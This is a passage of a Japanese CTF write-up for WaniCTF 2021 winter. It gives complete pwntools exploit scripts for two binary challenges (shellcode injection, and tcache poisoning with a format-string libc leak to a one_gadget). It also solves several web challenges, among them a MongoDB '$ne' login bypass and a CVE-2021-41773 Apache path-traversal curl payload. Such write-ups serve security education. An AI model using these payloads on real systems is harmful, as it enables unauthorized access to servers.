rbpを~Nameのアドレス-8~にしておくと、main関数のretでNameの最初の8byteのアドレスに飛ばすことができます。よって、Nameを以下のようにするとシェルが取れます。

name_addr: Nameのアドレス

             char Name[256]
     +---------------------------+
   0 |       name_addr + 8       | (8 byte)
     +---------------------------+
   8 |         shellcode         |
     +---------------------------+
     |            ...            |
     +---------------------------+
 256 |   (name_addr & 0xff) - 8  | (1 byte)
     +---------------------------+
 257 | (name_addr & 0xff00) >> 8 | (1 byte)
     +---------------------------+
from pwn import *

#p = process('./chall')
p = remote('tarinai.pwn.wanictf.org', 9007)

context.binary = "./chall"

p.recvuntil(b'@>')
name_addr = int(p.recvline().strip(), 16)

payload = p64(name_addr + 8)
payload += asm(shellcraft.sh())
payload += b'\x90' * (256 - len(payload))
payload += bytes([(name_addr & 0xff) - 8, (name_addr & 0xff00) >> 8])
p.send(payload)
p.interactive()
python3 solve.py 
[+] Opening connection to tarinai.pwn.wanictf.org on port 9007: Done
[*] '/home/miso/ctf/wani2021_winter/pwn-tarinai/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
Name>Hello \xb8\xfeI<\xff\x7f$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{Now_You_Know_Function_Epilogue}

diva

heap問

void sing(char *parameter) {
  printf("🎵");
  printf(
      parseVar(parameter)); // Looks Safe since we use % as register indicator!
  printf("🎵\n");
}

diva.cの37~42行目を見ると、sing関数にFSB脆弱性があることを確認できます。

for (int i = 0; i < 6; i++) {
    textArea[i] = (char *)malloc(32 * sizeof(char));
    printf("%d>", i);

    read(0, textArea[i], 0x40);
}

また、diva.cの159~164行目を見ると、mallocで確保する領域のサイズが0x20 byteであることに対して、0x40 byte書き込むことができることが確認できます。よって、次のチャンクのfdを書き換えられることができ、tcache poisoningできることがわかります。

これらの情報をもとに、以下の手順で解きました。

  1. tcache poisoningで.fini_arrayを書き換えて、もう一度main関数を呼び出す
  2. FSB脆弱性を使って、libcのアドレスを手に入れる
  3. tcache poisoningでputsのgotをone gadgetに書き換える
from pwn import *

elf = ELF('./chall')
libc = ELF('./libc-2.31.so')

fini_array = 0x4034b8
one_gadget = 0xe6c7e
puts_got = elf.got['puts']

p = remote('diva.pwn.wanictf.org', 9008)

# round 1
# fini_array -> main
payload = b'A' * 0x20
payload += p64(0) + p64(0x31)
payload += p64(fini_array) + p64(0x0)
p.recvuntil(b'>')
p.send(b'write %0 |%53$p|') # libc_start_main+250
p.recvuntil(b'>')
p.send(b'sing %0')
p.recvuntil(b'>')
p.send(b'hogehoge')
p.recvuntil(b'>')
p.send(payload)
p.recvuntil(b'>')
p.send(b'hogehoge')
p.recvuntil(b'>')
p.send(p64(elf.symbols['main']))

# libc leak
p.recvuntil("🎵|".encode())
libc_start_main = int(p.recvuntil('|'.encode())[:-1], 16) - 250
libc.address = libc_start_main - libc.symbols['__libc_start_main']

log.info(f"libc: {hex(libc.address)}")

# round 2
# puts -> one_gadget
payload = b'A' * 0x20
payload += p64(0) + p64(0x31)
payload += p64(elf.got['puts']) + p64(0x0)
p.recvuntil(b'>')
p.send(b'hogehoge')
p.recvuntil(b'>')
p.send(b'hogehoge')
p.recvuntil(b'>')
p.send(b'hogehoge')
p.recvuntil(b'>')
p.send(payload)
p.recvuntil(b'>')
p.send(b'hogehoge')
p.recvuntil(b'>')
p.send(p64(libc.address + one_gadget))

p.interactive()
$ python3 solve.py
[*] '/home/miso/ctf/wani2021_winter/pwn-diva/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/miso/ctf/wani2021_winter/pwn-diva/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to diva.pwn.wanictf.org on port 9008: Done
[*] libc: 0x7f97f0ecf000
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{in_this_dazzling_time}

Web

sourcemap

/js/app.bcff35da.jsのソースマップは/js/app.bcff35da.js.mapにあります。

ソースマップをエディタで開いて、FLAG{を検索するとFLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}が見つかりました。

... this.password !== \"FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}\" ...

POST challenge

chal1~5に正しいデータを渡すとフラグが得られます。

challengeの内容は以下の通りです。

  • chal1: データが{"data":"hoge"}
  • chal2: データが{"data":"hoge"}かつUser-AgentMozilla/5.0が含まれる
  • chal3: データが{"data":{"hoge":"fuga"}}
  • chal4: データが{"data":1, "hoge":null}
  • chal5: ワニ博士の画像を送信
import requests
import re

from requests.api import get

base_url = "https://post.web.wanictf.org/"

def get_flag(s):
    return re.search("FLAG: (.+)\n", s).group(1)

def chal1():
    res = requests.post(f"{base_url}chal/1", data={"data":"hoge"})
    return get_flag(res.text)

def chal2():
    res = requests.post(f"{base_url}chal/2", data={"data":"hoge"}, headers={"User-Agent":"Mozilla/5.0"})
    return get_flag(res.text)

def chal3():
    res = requests.post(f"{base_url}chal/3", json={"data":{"hoge":"fuga"}})
    return get_flag(res.text)

def chal4():
    res = requests.post(f"{base_url}chal/4", json={"hoge":1, "fuga":None})
    return get_flag(res.text)

def chal5():
    files = {"data": open("wani.png", "rb")}
    res = requests.post(f"{base_url}chal/5", files=files)
    return get_flag(res.text)

flag = "FLAG{" + "{}_{}_{}_{}_{}".format(chal1(), chal2(), chal3(), chal4(), chal5()) + "}"
print(flag)
$ python solve.py
FLAG{y0u_ar3_http_p0st_m@ster!}

nosql

DBにmongodbを使用しています。

「mongodb findone injection」と検索するとこのページが見つかりました。

passwordに{ $ne: 1 }を渡すとusernameだけでログインでき、フラグが得られます。

import requests

url = "https://nosql.web.wanictf.org/login"
data = {
    "username": "admin",
    "password": {"$ne": 1},
}

res = requests.post(url, json=data)
print(res.text)
$ python3 solve.py | grep FLAG
      FLAG{n0_sql_1nj3ction}

traversal

Apacheのバージョンが2.4.49であることから、最近話題になったCVE-2021-41773関連の問題だと推測できます。

実際にhttpd.confを見ると攻撃条件を満たしていることが確認できました。しかし、今回はnginxがいるので、そのままでは攻撃が成功しません。

「CVE-2021-41773 nginx」と検索してみると、このページが見つかりました。cgi-binの前に/をつけると上手くいくそうなので、試してみると攻撃が成功しフラグが得られました。

$ curl https://traversal.web.wanictf.org//////////cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}